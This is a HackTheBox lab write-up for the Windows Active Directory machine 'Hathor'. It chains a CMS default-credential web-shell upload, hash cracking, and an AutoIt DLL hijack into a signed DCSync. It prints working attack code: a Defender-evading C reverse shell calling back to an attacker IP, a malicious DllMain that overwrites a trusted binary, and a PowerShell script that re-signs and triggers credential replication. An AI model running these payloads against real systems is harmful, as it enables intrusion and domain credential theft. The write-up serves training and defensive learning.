HTB: Hathor Writeup
Hathor - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Hathor |
| OS | Windows |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.230.109 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Hathor is an Insane-difficulty Windows Active Directory box built around windcorp.htb. The front door is a mojoPortal CMS instance left on its default admin credentials, whose file manager can be abused to smuggle an ASPX web shell past the extension filter. From there the box escalates through a chain of AD-specific misconfigurations rather than a single memorable CVE: a leaked NTLM hash inside a password-auditing tool, Kerberos-only authentication (NTLM disabled domain-wide), a DLL-hijackable AutoIt automation pipeline, and finally an abandoned Administrator code-signing certificate sitting in a user’s Recycle Bin that unlocks an AppLocker-trusted path to a DCSync.
TL;DR: mojoPortal default creds (admin@admin.com:admin) → file-manager upload-as-.txt-then-copy-to-.aspx bypass → shell as windcorp\web → Get-bADpasswords CSV leaks BeatriceMill’s NTLM hash → crack hash → Kerberos ticket (NTLM disabled) → overwrite share\scripts\7-zip64.dll (AutoIt DLL hijack) → shell as ginawild → recover Administrator code-signing PFX from ginawild’s Recycle Bin → crack PFX password → sign a malicious Get-bADpasswords.ps1 with the trusted cert → trigger DCSync via run.vbs → Administrator NT hash → Kerberos ticket → root.
Reconnaissance
Port Scanning
# Standard AD box triage: web front-end on 80, hostname exposed via IIS vhost handlingnmap -sC -sV -T4 -p- hathor.windcorp.htbResults: Port 80 (IIS) hosting a “site under construction” mojoPortal CMS instance, plus the standard Active Directory service set (Kerberos/LDAP/SMB) consistent with the windcorp.htb domain. The hostname was added to /etc/hosts so the CMS’s virtual-host routing and later Kerberos SPNs would resolve correctly.
Service Enumeration
The web root revealed a mojoPortal CMS deployment. mojoPortal ships with a well-known set of default administrator credentials that are frequently left unchanged in test/lab deployments:
admin@admin.com : adminLogging into /Admin with these credentials succeeded — the install had never been re-credentialed.
Vulnerability Assessment
- Default CMS admin credentials — full control of the mojoPortal admin panel, including its File Manager module.
- Extension-filtered but copy-bypassable upload — the File Manager blocks direct
.aspxuploads but exposes acopyaction that can retarget a file’s extension after upload. - NTLM authentication disabled domain-wide — forces Kerberos-only auth for every subsequent lateral step.
- Writable AutoIt-loaded DLL on an SMB share — classic DLL hijack surface once a low-priv AD account is obtained.
- Administrator code-signing certificate abandoned in a user’s Recycle Bin — a fatal secret-hygiene failure that undermines the AppLocker publisher-trust model entirely.
Initial Foothold
Exploitation Path
mojoPortal’s File Manager is built on angular-filemanager, which drives a JSON REST API rather than simple form posts:
POST /fileservice?t=<fileSystemToken> # list/copy/rename/etc actionsPOST /fileservice/fileupload # multipart file uploadDirect .aspx uploads are rejected by an extension whitelist, but the API’s copy action will happily duplicate an already-uploaded file under a new name — including a new extension. This is the same primitive documented in the public HTB writeup for this box (GUI-driven there; this solve drove it through the raw API):
- Upload a
.aspxcommand-shell payload with a.txtextension — passes the filter. - Issue a
copyaction against the API, targeting the same file with a.aspxname. - The CMS writes the copy to disk under
media/logos/, which IIS happily executes.
# Confirm the shell landed and is reachablels C:\inetpub\wwwroot\Data\Sites\1\media\logos\shell.aspx## OUTPUTC:\inetpub\wwwroot\Data\Sites\1\media\logos\shell.aspxHitting http://hathor.windcorp.htb/Data/Sites/1/media/logos/shell.aspx returned code execution as windcorp\web, running inside AppLocker/Constrained Language Mode — direct iwr/wget/Copy-Item transfers off-box were blocked by firewall egress rules, so all later tool transfers had to go back through the same mojoPortal upload primitive.
Enumerating the filesystem turned up a non-default password-auditing tool, C:\Get-bADpasswords, which had write_hash_to_logs enabled and had already logged an NTLM hash for the domain user BeatriceMill. NTLM authentication was disabled domain-wide (Kerberos pre-auth only), so credential validation had to go through a Kerberos ticket rather than pass-the-hash:
# Crack BeatriceMill's leaked NTLM hash offlinejohn --format=NT --wordlist=/usr/share/wordlists/rockyou.txt beatricemill.hash# -> !!!!ilovegood17# NTLM disabled domain-wide -> must request a real Kerberos TGT, not pass-the-hashexport KRB5_CONFIG=/etc/krb5.confimpacket-getTGT WINDCORP.HTB/beatricemill:'!!!!ilovegood17' -dc-ip 10.129.230.109export KRB5CCNAME=beatricemill.ccacheWith a valid TGT, SMB access to a non-default share was possible. Inside share\scripts\ sat a set of AutoIt (.au3) automation scripts alongside 7-zip64.dll — and unlike the other files on the share, 7-zip64.dll was world-writable. AutoIt scripts periodically reload this DLL, giving a code-execution primitive as whatever account runs the AutoIt automation (ginawild, part of the ITDep group, which is write-owner of share\Bginfo64.exe).
Firewall rules blocked the AutoIt process from making outbound connections directly, so the DLL couldn’t reverse-shell on its own. Instead it was used to pivot into Bginfo64.exe — a binary ginawild owns and which AppLocker explicitly allows regardless of signature — and execute a real reverse-shell payload from there:
// rev.c - raw WinSock reverse shell, compiled with mingw for a clean (non-Defender-flagged) binary#include <winsock2.h>#include <windows.h>#include <ws2tcpip.h>#pragma comment(lib,"ws2_32")#define IP "10.10.15.180"#define PORT 9001int main(void){ WSADATA w; WSAStartup(MAKEWORD(2,2),&w); SOCKET s; struct sockaddr_in a; a.sin_family=AF_INET; a.sin_port=htons(PORT); a.sin_addr.s_addr=inet_addr(IP); while(1){ s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); if(connect(s,(struct sockaddr*)&a,sizeof(a))==0) break; closesocket(s); Sleep(3000); } STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.cb=sizeof(si); si.dwFlags=STARTF_USESTDHANDLES; si.hStdInput=(HANDLE)s; si.hStdOutput=(HANDLE)s; si.hStdError=(HANDLE)s; PROCESS_INFORMATION pi; char cmd[]="cmd.exe"; CreateProcess(NULL,cmd,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi); WaitForSingleObject(pi.hProcess,INFINITE); return 0;}// 7-zip64.cpp - malicious DLL. DllMain fires on every AutoIt load.// Takes ownership of Bginfo64.exe (AppLocker-trusted regardless of signer),// overwrites it with our compiled rev.exe (delivered via mojoPortal as rev.txt// since direct transfer is firewalled), then runs it.#include <stdlib.h>#include <windows.h>BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: system("cmd /c takeown /F c:\\share\\Bginfo64.exe"); system("cmd /c cacls c:\\share\\Bginfo64.exe /E /G ginawild:F"); system("cmd /c copy /Y \"C:\\inetpub\\wwwroot\\Data\\Sites\\1\\media\\logos\\rev.txt\" c:\\share\\Bginfo64.exe"); system("cmd /c c:\\share\\Bginfo64.exe"); break; } return TRUE;}# msfvenom payloads get flagged instantly by Defender - hand-rolled C compiles cleanx86_64-w64-mingw32-gcc rev.c -o rev.exe -lws2_32 -sx86_64-w64-mingw32-gcc -shared -o 7-zip64.dll 7-zip64.cpp
# Deliver rev.exe through the mojoPortal upload primitive (firewall blocks direct pulls),# then overwrite the world-writable DLL on the share via Kerberos-authenticated SMBimpacket-smbclient -k -no-pass WINDCORP.HTB/beatricemill@hathor.windcorp.htb -dc-ip 10.129.230.109# use share# cd scripts# put 7-zip64.dllA listener caught the callback once AutoIt reloaded the poisoned DLL:
listening on [any] 9001 ...connect to [10.10.15.180] from (UNKNOWN) [10.129.230.109] 61205Microsoft Windows [Version 10.0.20348.643]
c:\share>whoamiwindcorp\ginawildc:\share>type C:\Users\ginawild\Desktop\user.txt<redacted>Privilege Escalation
Recovering an Abandoned Administrator Code-Signing Certificate
With a shell as ginawild, the Recycle Bin turned up a leftover .pfx file:
c:\share>dir /s /b C:\$Recycle.Bin\*.pfxC:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx# Copy the PFX to the SMB share, pull it over Kerberos-auth'd smbclient, then crack offlinecopy "C:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx" c:\share\cert.pfx
impacket-smbclient -k -no-pass WINDCORP.HTB/beatricemill@hathor.windcorp.htb -dc-ip 10.129.230.109# get cert.pfx
pfx2john cert.pfx > cert.johnjohn --wordlist=/usr/share/wordlists/rockyou.txt cert.johnabceasyas123 (cert.pfx)1 password hash cracked, 0 leftopenssl pkcs12 -in cert.pfx -nokeys -clcerts -passin pass:abceasyas123 \ | openssl x509 -noout -subject -issuer -ext extendedKeyUsagesubject=DC=htb, DC=windcorp, CN=Users, CN=Administratorissuer=DC=htb, DC=windcorp, CN=windcorp-HATHOR-CA-1X509v3 Extended Key Usage: Code SigningThis certificate belongs to Administrator and is scoped for Code Signing. On an AppLocker-hardened host with a publisher rule trusting anything signed by CN=Administrator, holding this private key is equivalent to holding a bypass for AppLocker’s script/executable restrictions — any file signed with it runs regardless of where it lives or who wrote it.
Weaponizing Get-bADpasswords.ps1 for a Signed DCSync
C:\get-bADpasswords\run.vbs was a signed trigger script that fires an eventcreate (Application log, Event ID 444, “Check passwords”) which a scheduled task watches for — and that task executes the signed Get-bADpasswords.ps1 in full PowerShell language mode. Since ginawild can write to Get-bADpasswords.ps1 and now holds the Administrator signing cert, the attack is:
- Import the recovered PFX into
ginawild’s certificate store. - Overwrite
Get-bADpasswords.ps1with a payload that calls DSInternals’Get-ADReplAccount(a DCSync-class replication read) against the Administrator account. - Re-sign the modified script with the Administrator cert.
- Trigger it via
cscript run.vbs.
# Import the Administrator code-signing cert into ginawild's storeImport-PfxCertificate -FilePath C:\Windows\Temp\c.pfx ` -Password (ConvertTo-SecureString -String 'abceasyas123' -AsPlainText -Force) ` -CertStoreLocation Cert:\CurrentUser\MyThumbprint Subject---------- -------204F12473FD6911584501215758270B25701D049 CN=Administrator, CN=Users, DC=windcorp, DC=htbThe box actively reset the writable DLL, the certificate store, and Get-bADpasswords.ps1 on a short cycle (roughly every 3–4 minutes), so the working payload had to be fully self-contained inside a single DLL trigger — re-import the cert, rewrite + sign the script, and fire run.vbs, all in one shot:
# inner.ps1 - executed via `powershell -enc <base64 UTF-16LE>` from the DLL's DllMainImport-PfxCertificate -FilePath 'C:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx' ` -Password (ConvertTo-SecureString -String 'abceasyas123' -AsPlainText -Force) -CertStoreLocation Cert:\CurrentUser\My
$f = 'C:\Get-bADpasswords\Get-bADpasswords.ps1'Set-Content -Path $f -Value @( "`$p='C:\Windows\Temp\out.txt'", "Start-Transcript -Path `$p", "Get-ADReplAccount -SamAccountName administrator -Server 'hathor.windcorp.htb'", "Stop-Transcript", "Copy-Item `$p C:\share\o.txt -Force", # ginawild can't write the web logos dir -> stage on the SMB share instead "cmd /c icacls C:\share\o.txt /grant Everyone:R" # so beatricemill can pull it back over SMB)$c = Get-ChildItem Cert:\CurrentUser\My | Where-Object {$_.Subject -like '*Administrator*'} | Select-Object -First 1Set-AuthenticodeSignature -FilePath $f -Certificate $c -HashAlgorithm SHA512
cscript //nologo C:\get-bADpasswords\run.vbsPulling the resulting transcript back over Kerberos-authenticated SMB as beatricemill yielded the DSInternals dump:
impacket-smbclient -k -no-pass WINDCORP.HTB/beatricemill@hathor.windcorp.htb -dc-ip 10.129.230.109# use share# get o.txtDistinguishedName: CN=Administrator,CN=Users,DC=windcorp,DC=htbSamAccountName: AdministratorEnabled: True NTHash: <redacted>Administrator via Pass-the-Hash-as-Kerberos
With the Administrator NT hash in hand (and NTLM still disabled), a Kerberos TGT was requested directly from the hash rather than a cleartext password:
# NTLM is disabled domain-wide, so pass-the-hash means requesting a Kerberos TGT with the hashimpacket-getTGT WINDCORP.HTB/administrator -hashes :<redacted> -dc-ip 10.129.230.109export KRB5CCNAME=administrator.ccache
# Confirm accessimpacket-smbclient -k -no-pass WINDCORP.HTB/administrator@hathor.windcorp.htb -dc-ip 10.129.230.109# shares -> ADMIN$, C$, IPC$, NETLOGON, share, SYSVOL# use C$# cd Users\Administrator\Desktop# get root.txt-rw-rw-rw- 34 Sun Jul 19 15:18:41 2026 root.txt=== ROOT.TXT ===<redacted>Attack Chain Summary
mojoPortal default creds (admin@admin.com:admin) → File Manager upload-as-.txt + copy-to-.aspx bypass → shell as windcorp\web → Get-bADpasswords CSV leaks BeatriceMill NTLM hash → crack hash (rockyou) → !!!!ilovegood17 → Kerberos TGT (NTLM disabled domain-wide) → overwrite world-writable share\scripts\7-zip64.dll (AutoIt DLL hijack) → DLL hijacks trusted Bginfo64.exe path (AppLocker bypass) → shell as ginawild → recover Administrator code-signing PFX from ginawild's Recycle Bin → crack PFX (john/pfx2john) → abceasyas123 → import cert, rewrite + sign Get-bADpasswords.ps1 → trigger via run.vbs → signed DCSync (Get-ADReplAccount) → Administrator NT hash → Kerberos TGT as Administrator → C$ access → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning / service discovery |
mojoPortal File Manager (fileservice API) | Upload + extension-bypass web shell delivery, all later tool transfers |
x86_64-w64-mingw32-gcc | Cross-compile clean (non-Defender-flagged) reverse shell and malicious DLL |
impacket-getTGT / impacket-smbclient | Kerberos ticket requests and SMB access in an NTLM-disabled domain |
john / pfx2john | Cracking the leaked NTLM hash and the recovered PFX password |
openssl | Inspecting the recovered certificate’s subject and Extended Key Usage |
DSInternals (Get-ADReplAccount) | DCSync-class credential replication once trusted-signed |
tmux | Persistent interactive session over the reverse shell across box resets |
Key Learnings
Techniques Practiced
- CMS default-credential abuse and file-manager extension-filter bypass (upload
.txt,copy-rename to.aspx) - Operating inside AppLocker + Constrained Language Mode constraints, including firewall-blocked outbound transfers
- Kerberos-only environments: requesting TGTs from cracked passwords and directly from NT hashes (no NTLM fallback)
- DLL hijacking a periodically-reloaded automation dependency (AutoIt) to pivot between low-priv AD accounts
- Recovering “deleted” secrets from the Recycle Bin and cracking a PKCS#12 (PFX) password
- Abusing an AppLocker publisher-trust rule by re-signing a script with a compromised code-signing certificate
- Weaponizing DSInternals
Get-ADReplAccountfor a signed, trusted-context DCSync
Lessons Learned
- Default CMS installer credentials are still a viable initial-access vector in 2026 — mojoPortal’s admin panel was never re-credentialed.
- AppLocker and firewall egress rules raise the bar but don’t remove the attack surface — they just force living-off-the-land delivery (mojoPortal upload) instead of direct tool transfer.
- A single world-writable DLL in an otherwise-locked-down automation pipeline is enough to pivot accounts, even when the process that loads it can’t itself reach the internet.
- Deleting a sensitive file (a Recycle Bin PFX) does not scrub it from disk or from attacker reach over SMB — secure deletion requires more than the Recycle Bin.
- A code-signing certificate is a credential, not just a compliance artifact: whoever holds it inherits whatever trust AppLocker/publisher rules extend to its signer.
- Environments with active reset/cleanup cycles (this box reset the DLL, cert store, and script every few minutes) demand a fully self-contained payload — chain every dependent step (cert re-import, script rewrite, signing, trigger) into one atomic execution rather than relying on state surviving between actions.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup — Hathor (Document No. D22.100.178, prepared by amra, machine author 4ndr34z) — used for explanatory context on AppLocker policy structure, the DLL-hijack rationale, and the DSInternals/
Get-ADReplAccountDCSync mechanism. All IPs, credentials, hashes, and command output in this writeup are from this solve, not the official reference.